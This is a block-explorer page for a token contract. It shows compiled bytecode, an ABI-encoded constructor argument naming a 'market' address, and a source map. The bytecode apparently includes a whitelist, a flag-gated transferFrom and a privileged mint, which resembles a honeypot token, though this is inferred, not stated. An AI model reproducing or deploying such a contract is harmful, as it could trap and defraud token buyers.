01b60648201526084016105ae565b6001600160a01b0382166109ab5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ae565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a705760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ae565b6001600160a01b038216610ad25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ae565b6001600160a01b03831660009081526020819052604090205481811015610b4a5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016105ae565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050565b60008184841115610bd55760405162461bcd60e51b81526004016105ae9190610d00565b505050900390565b6000610be98284611015565b9392505050565b610c07600061067b6006546001600160a01b031690565b80600080610c1d6006546001600160a01b031690565b6001600160a01b03166001600160a01b031681526020019081526020016000206000828254610c4c9190610fcc565b909155505050565b6005546001600160a01b031633146107065760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016105ae565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600060208083528351808285015260005b81811015610d2d57858101830151858201604001528201610d11565b81811115610d3f576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b03811681146106ef57600080fd5b60008060408385031215610d7f57600080fd5b610d8883610d55565b946020939093013593505050565b600080600060608486031215610dab57600080fd5b610db484610d55565b9250610dc260208501610d55565b9150604084013590509250925092565b600060208284031215610de457600080fd5b81358015158114610be957600080fd5b634e487b7160e01b600052604160045260246000fd5b60006020808385031215610e1d57600080fd5b823567ffffffffffffffff80821115610e3557600080fd5b818501915085601f830112610e4957600080fd5b813581811115610e5b57610e5b610df4565b8060051b604051601f19603f83011681018181108582111715610e8057610e80610df4565b604052918252848201925083810185019188831115610e9e57600080fd5b938501935b82851015610ec357610eb485610d55565b84529385019392850192610ea3565b98975050505050505050565b600060208284031215610ee157600080fd5b5035919050565b600060208284031215610efa57600080fd5b610be982610d55565b60008060408385031215610f1657600080fd5b610f1f83610d55565b9150610f2d60208401610d55565b90509250929050565b600181811c90821680610f4a57607f821691505b60208210811415610f6b57634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526025908201527f4d61726b65744f776e65643a2063616c6c6572206973206e6f7420746865204d604082015264185c9ad95d60da1b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b60008219821115610fdf57610fdf610fb6565b500190565b634e487b7160e01b600052603260045260246000fd5b600060001982141561100e5761100e610fb6565b5060010190565b600081600019048311821515161561102f5761102f610fb6565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e44cd85cc3b0b486dc63e842e419b9e042023cbe806725f63f6fcad808e6d61164736f6c634300080b0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000c662226f2a07a1a5378eca143aae170886db9f8f

-----Decoded View---------------
Arg [0] : market_ (address): 0xC662226F2a07A1A5378eCA143AAE170886Db9F8f

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000c662226f2a07a1a5378eca143aae170886db9f8f


Deployed Bytecode Sourcemap

14109:2426:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9144:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10076:201;;;;;;;;;;-1:-1:-1;10076:201:0;;;;;:::i;:::-;;:::i;:::-;;;1218:14:1;;1211:22;1193:41;;1181:2;1166:18;10076:201:0;1053:187:1;9465:108:0;;;;;;;;;;-1:-1:-1;9553:12:0;;9465:108;;;1391:25:1;;;1379:2;1364:18;9465:108:0;1245:177:1;15037:801:0;;;;;;;;;;-1:-1:-1;15037:801:0;;;;;:::i;:::-;;:::i;15846:100::-;;;;;;;;;;-1:-1:-1;15846:100:0;;;;;:::i;:::-;;:::i;:::-;;9364:93;;;;;;;;;;-1:-1:-1;9364:93:0;;9447:2;2180:36:1;;2168:2;2153:18;9364:93:0;2038:184:1;10554:238:0;;;;;;;;;;-1:-1:-1;10554:238:0;;;;;:::i;:::-;;:::i;15954:200::-;;;;;;;;;;-1:-1:-1;15954:200:0;;;;;:::i;:::-;;:::i;16267:96::-;;;;;;;;;;-1:-1:-1;16267:96:0;;;;;:::i;:::-;;:::i;7478:128::-;;;;;;;;;;-1:-1:-1;7478:128:0;;;;;:::i;:::-;;:::i;9581:127::-;;;;;;;;;;-1:-1:-1;9581:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;9682:18:0;9655:7;9682:18;;;;;;;;;;;;9581:127;6815:103;;;;;;;;;;;;;:::i;7614:81::-;;;;;;;;;;-1:-1:-1;7680:7:0;;-1:-1:-1;;;;;7680:7:0;7614:81;;;-1:-1:-1;;;;;4025:32:1;;;4007:51;;3995:2;3980:18;7614:81:0;3861:203:1;6580:87:0;;;;;;;;;;-1:-1:-1;6653:6:0;;-1:-1:-1;;;;;6653:6:0;6580:87;;9252:104;;;;;;;;;;;;;:::i;14723:191::-;;;;;;;;;;-1:-1:-1;14723:191:0;;;;;:::i;:::-;;:::i;10800:436::-;;;;;;;;;;-1:-1:-1;10800:436:0;;;;;:::i;:::-;;:::i;9716:193::-;;;;;;;;;;-1:-1:-1;9716:193:0;;;;;:::i;:::-;;:::i;14223:41::-;;;;;;;;;;-1:-1:-1;14223:41:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;14922:107;;;;;;;;;;;;;:::i;9917:151::-;;;;;;;;;;-1:-1:-1;9917:151:0;;;;;:::i;:::-;;:::i;6926:201::-;;;;;;;;;;-1:-1:-1;6926:201:0;;;;;:::i;:::-;;:::i;9144:100::-;9198:13;9231:5;9224:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9144:100;:::o;10076:201::-;10159:4;6133:10;10215:32;6133:10;10231:7;10240:6;10215:8;:32::i;:::-;10265:4;10258:11;;;10076:201;;;;;:::o;15037:801::-;-1:-1:-1;;;;;15164:17:0;;15143:4;15164:17;;;:9;:17;;;;;;;;15160:649;;;15198:36;15208:6;15216:9;15227:6;15198:9;:36::i;:::-;15249:119;15258:6;6133:10;15266:12;15280:87;15316:6;15280:87;;;;;;;;;;;;;;;;;:31;15290:6;6133:10;9917:151;:::i;15280:31::-;:35;:87;:35;:87::i;:::-;15249:8;:119::i;:::-;15160:649;;;15390:13;;-1:-1:-1;;;15390:13:0;;;;15386:423;;15429:36;15439:6;15447:9;15458:6;15429:9;:36::i;15386:423::-;15632:31;15642:6;15650:9;15661:1;15632:9;:31::i;:::-;15678:119;15687:6;6133:10;15695:12;6053:98;15678:119;-1:-1:-1;15826:4:0;15037:801;;;;;:::o;15846:100::-;7680:7;;-1:-1:-1;;;;;7680:7:0;6133:10;7744:24;7736:74;;;;-1:-1:-1;;;7736:74:0;;;;;;;:::i;:::-;;;;;;;;;15917:13:::1;:21:::0;;;::::1;;-1:-1:-1::0;;;15917:21:0::1;-1:-1:-1::0;;;;15917:21:0;;::::1;::::0;;;::::1;::::0;;15846:100::o;10554:238::-;10642:4;6133:10;10698:64;6133:10;10714:7;10751:10;10723:25;6133:10;10714:7;10723:9;:25::i;:::-;:38;;;;:::i;15954:200::-;7680:7;;-1:-1:-1;;;;;7680:7:0;6133:10;7744:24;7736:74;;;;-1:-1:-1;;;7736:74:0;;;;;;;:::i;:::-;16051:9:::1;16046:101;16066:10;:17;16062:1;:21;16046:101;;;16105:30;16121:10;16132:1;16121:13;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1::0;;;;;16225:19:0;;;;;:9;:19;;;;;:26;;-1:-1:-1;;16225:26:0;16247:4;16225:26;;;16162:97;16105:30:::1;16085:3:::0;::::1;::::0;::::1;:::i;:::-;;;;16046:101;;;;15954:200:::0;:::o;16267:96::-;7680:7;;-1:-1:-1;;;;;7680:7:0;6133:10;7744:24;7736:74;;;;-1:-1:-1;;;7736:74:0;;;;;;;:::i;:::-;16330:25:::1;16337:17;:7:::0;16349:4:::1;16337:11;:17::i;:::-;16330:6;:25::i;:::-;16267:96:::0;:::o;7478:128::-;7542:4;6539:13;:11;:13::i;:::-;-1:-1:-1;7559:7:0::1;:17:::0;;-1:-1:-1;;;;;;7559:17:0::1;-1:-1:-1::0;;;;;7559:17:0;::::1;;::::0;;-1:-1:-1;6563:1:0::1;7478:128:::0;;;:::o;6815:103::-;6539:13;:11;:13::i;:::-;6880:30:::1;6907:1;6880:18;:30::i;:::-;6815:103::o:0;9252:104::-;9308:13;9341:7;9334:14;;;;;:::i;14723:191::-;-1:-1:-1;;;;;9682:18:0;;14804:4;9682:18;;;;;;;;;;;14825:25;14835:5;14842:7;14825:9;:25::i;:::-;:45;14821:62;;-1:-1:-1;14879:4:0;14872:11;;14821:62;-1:-1:-1;14901:5:0;14723:191;;;;:::o;10800:436::-;10893:4;6133:10;10893:4;10976:25;6133:10;10993:7;10976:9;:25::i;:::-;10949:52;;11040:15;11020:16;:35;;11012:85;;;;-1:-1:-1;;;11012:85:0;;5864:2:1;11012:85:0;;;5846:21:1;5903:2;5883:18;;;5876:30;5942:34;5922:18;;;5915:62;-1:-1:-1;;;5993:18:1;;;5986:35;6038:19;;11012:85:0;5662:401:1;11012:85:0;11133:60;11142:5;11149:7;11177:15;11158:16;:34;11133:8;:60::i;:::-;-1:-1:-1;11224:4:0;;10800:436;-1:-1:-1;;;;10800:436:0:o;9716:193::-;9795:4;6133:10;9851:28;6133:10;9868:2;9872:6;9851:9;:28::i;14922:107::-;7680:7;;-1:-1:-1;;;;;7680:7:0;6133:10;7744:24;7736:74;;;;-1:-1:-1;;;7736:74:0;;;;;;;:::i;:::-;7680:7;;14972:49:::1;::::0;-1:-1:-1;;;;;7680:7:0;;;;14999:21:::1;14972:49:::0;::::1;;;::::0;::::1;::::0;;;14999:21;7680:7;14972:49;::::1;;;;;;;;;;;;;::::0;::::1;;;;9917:151:::0;-1:-1:-1;;;;;10033:18:0;;;10006:7;10033:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;9917:151::o;6926:201::-;6539:13;:11;:13::i;:::-;-1:-1:-1;;;;;7015:22:0;::::1;7007:73;;;::::0;-1:-1:-1;;;7007:73:0;;6270:2:1;7007:73:0::1;::::0;::::1;6252:21:1::0;6309:2;6289:18;;;6282:30;6348:34;6328:18;;;6321:62;-1:-1:-1;;;6399:18:1;;;6392:36;6445:19;;7007:73:0::1;6068:402:1::0;7007:73:0::1;7091:28;7110:8;7091:18;:28::i;13132:346::-:0;-1:-1:-1;;;;;13234:19:0;;13226:68;;;;-1:-1:-1;;;13226:68:0;;6677:2:1;13226:68:0;;;6659:21:1;6716:2;6696:18;;;6689:30;6755:34;6735:18;;;6728:62;-1:-1:-1;;;6806:18:1;;;6799:34;6850:19;;13226:68:0;6475:400:1;13226:68:0;-1:-1:-1;;;;;13313:21:0;;13305:68;;;;-1:-1:-1;;;13305:68:0;;7082:2:1;13305:68:0;;;7064:21:1;7121:2;7101:18;;;7094:30;7160:34;7140:18;;;7133:62;-1:-1:-1;;;7211:18:1;;;7204:32;7253:19;;13305:68:0;6880:398:1;13305:68:0;-1:-1:-1;;;;;13386:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;13438:32;;1391:25:1;;;13438:32:0;;1364:18:1;13438:32:0;;;;;;;13132:346;;;:::o;11244:641::-;-1:-1:-1;;;;;11341:18:0;;11333:68;;;;-1:-1:-1;;;11333:68:0;;7485:2:1;11333:68:0;;;7467:21:1;7524:2;7504:18;;;7497:30;7563:34;7543:18;;;7536:62;-1:-1:-1;;;7614:18:1;;;7607:35;7659:19;;11333:68:0;7283:401:1;11333:68:0;-1:-1:-1;;;;;11420:16:0;;11412:64;;;;-1:-1:-1;;;11412:64:0;;7891:2:1;11412:64:0;;;7873:21:1;7930:2;7910:18;;;7903:30;7969:34;7949:18;;;7942:62;-1:-1:-1;;;8020:18:1;;;8013:33;8063:19;;11412:64:0;7689:399:1;11412:64:0;-1:-1:-1;;;;;11562:15:0;;11540:19;11562:15;;;;;;;;;;;11596:21;;;;11588:72;;;;-1:-1:-1;;;11588:72:0;;8295:2:1;11588:72:0;;;8277:21:1;8334:2;8314:18;;;8307:30;8373:34;8353:18;;;8346:62;-1:-1:-1;;;8424:18:1;;;8417:36;8470:19;;11588:72:0;8093:402:1;11588:72:0;-1:-1:-1;;;;;11696:15:0;;;:9;:15;;;;;;;;;;;11714:20;;;11696:38;;11749:13;;;;;;;;;;:23;;;;;;11801:26;;1391:25:1;;;11749:13:0;;11801:26;;1364:18:1;11801:26:0;;;;;;;11322:563;11244:641;;;:::o;5381:206::-;5467:7;5528:12;5520:6;;;;5512:29;;;;-1:-1:-1;;;5512:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;5563:5:0;;;5381:206::o;5063:98::-;5121:7;5148:5;5152:1;5148;:5;:::i;:::-;5141:12;5063:98;-1:-1:-1;;;5063:98:0:o;16371:161::-;16432:51;16461:1;16465:8;7680:7;;-1:-1:-1;;;;;7680:7:0;;7614:81;16432:51;16517:7;16494:9;:19;16504:8;7680:7;;-1:-1:-1;;;;;7680:7:0;;7614:81;16504:8;-1:-1:-1;;;;;16494:19:0;-1:-1:-1;;;;;16494:19:0;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;-1:-1:-1;;;16371:161:0:o;6675:132::-;6653:6;;-1:-1:-1;;;;;6653:6:0;6133:10;6739:23;6731:68;;;;-1:-1:-1;;;6731:68:0;;8875:2:1;6731:68:0;;;8857:21:1;;;8894:18;;;8887:30;8953:34;8933:18;;;8926:62;9005:18;;6731:68:0;8673:356:1;7135:191:0;7228:6;;;-1:-1:-1;;;;;7245:17:0;;;-1:-1:-1;;;;;;7245:17:0;;;;;;;7278:40;;7228:6;;;7245:17;7228:6;;7278:40;;7209:16;;7278:40;7198:128;7135:191;:::o;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:173::-;684:20;;-1:-1:-1;;;;;733:31:1;;723:42;;713:70;;779:1;776;769:12;794:254;862:6;870;923:2;911:9;902:7;898:23;894:32;891:52;;;939:1;936;929:12;891:52;962:29;981:9;962:29;:::i;:::-;952:39;1038:2;1023:18;;;;1010:32;;-1:-1:-1;;;794:254:1:o;1427:328::-;1504:6;1512;1520;1573:2;1561:9;1552:7;1548:23;1544:32;1541:52;;;1589:1;1586;1579:12;1541:52;1612:29;1631:9;1612:29;:::i;:::-;1602:39;;1660:38;1694:2;1683:9;1679:18;1660:38;:::i;:::-;1650:48;;1745:2;1734:9;1730:18;1717:32;1707:42;;1427:328;;;;;:::o;1760:273::-;1816:6;1869:2;1857:9;1848:7;1844:23;1840:32;1837:52;;;1885:1;1882;1875:12;1837:52;1924:9;1911:23;1977:5;1970:13;1963:21;1956:5;1953:32;1943:60;;1999:1;1996;1989:12;2227:127;2288:10;2283:3;2279:20;2276:1;2269:31;2319:4;2316:1;2309:15;2343:4;2340:1;2333:15;2359:1121;2443:6;2474:2;2517;2505:9;2496:7;2492:23;2488:32;2485:52;;;2533:1;2530;2523:12;2485:52;2573:9;2560:23;2602:18;2643:2;2635:6;2632:14;2629:34;;;2659:1;2656;2649:12;2629:34;2697:6;2686:9;2682:22;2672:32;;2742:7;2735:4;2731:2;2727:13;2723:27;2713:55;;2764:1;2761;2754:12;2713:55;2800:2;2787:16;2822:2;2818;2815:10;2812:36;;;2828:18;;:::i;:::-;2874:2;2871:1;2867:10;2906:2;2900:9;2969:2;2965:7;2960:2;2956;2952:11;2948:25;2940:6;2936:38;3024:6;3012:10;3009:22;3004:2;2992:10;2989:18;2986:46;2983:72;;;3035:18;;:::i;:::-;3071:2;3064:22;3121:18;;;3155:15;;;;-1:-1:-1;3197:11:1;;;3193:20;;;3225:19;;;3222:39;;;3257:1;3254;3247:12;3222:39;3281:11;;;;3301:148;3317:6;3312:3;3309:15;3301:148;;;3383:23;3402:3;3383:23;:::i;:::-;3371:36;;3334:12;;;;3427;;;;3301:148;;;3468:6;2359:1121;-1:-1:-1;;;;;;;;2359:1121:1:o;3485:180::-;3544:6;3597:2;3585:9;3576:7;3572:23;3568:32;3565:52;;;3613:1;3610;3603:12;3565:52;-1:-1:-1;3636:23:1;;3485:180;-1:-1:-1;3485:180:1:o;3670:186::-;3729:6;3782:2;3770:9;3761:7;3757:23;3753:32;3750:52;;;3798:1;3795;3788:12;3750:52;3821:29;3840:9;3821:29;:::i;4069:260::-;4137:6;4145;4198:2;4186:9;4177:7;4173:23;4169:32;4166:52;;;4214:1;4211;4204:12;4166:52;4237:29;4256:9;4237:29;:::i;:::-;4227:39;;4285:38;4319:2;4308:9;4304:18;4285:38;:::i;:::-;4275:48;;4069:260;;;;;:::o;4334:380::-;4413:1;4409:12;;;;4456;;;4477:61;;4531:4;4523:6;4519:17;4509:27;;4477:61;4584:2;4576:6;4573:14;4553:18;4550:38;4547:161;;;4630:10;4625:3;4621:20;4618:1;4611:31;4665:4;4662:1;4655:15;4693:4;4690:1;4683:15;4547:161;;4334:380;;;:::o;4719:401::-;4921:2;4903:21;;;4960:2;4940:18;;;4933:30;4999:34;4994:2;4979:18;;4972:62;-1:-1:-1;;;5065:2:1;5050:18;;5043:35;5110:3;5095:19;;4719:401::o;5125:127::-;5186:10;5181:3;5177:20;5174:1;5167:31;5217:4;5214:1;5207:15;5241:4;5238:1;5231:15;5257:128;5297:3;5328:1;5324:6;5321:1;5318:13;5315:39;;;5334:18;;:::i;:::-;-1:-1:-1;5370:9:1;;5257:128::o;5390:127::-;5451:10;5446:3;5442:20;5439:1;5432:31;5482:4;5479:1;5472:15;5506:4;5503:1;5496:15;5522:135;5561:3;-1:-1:-1;;5582:17:1;;5579:43;;;5602:18;;:::i;:::-;-1:-1:-1;5649:1:1;5638:13;;5522:135::o;8500:168::-;8540:7;8606:1;8602;8598:6;8594:14;8591:1;8588:21;8583:1;8576:9;8569:17;8565:45;8562:71;;;8613:18;;:::i;:::-;-1:-1:-1;8653:9:1;;8500:168::o

Swarm Source

ipfs://e44cd85cc3b0b486dc63e842e419b9e042023cbe806725f63f6fcad808e6d611
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.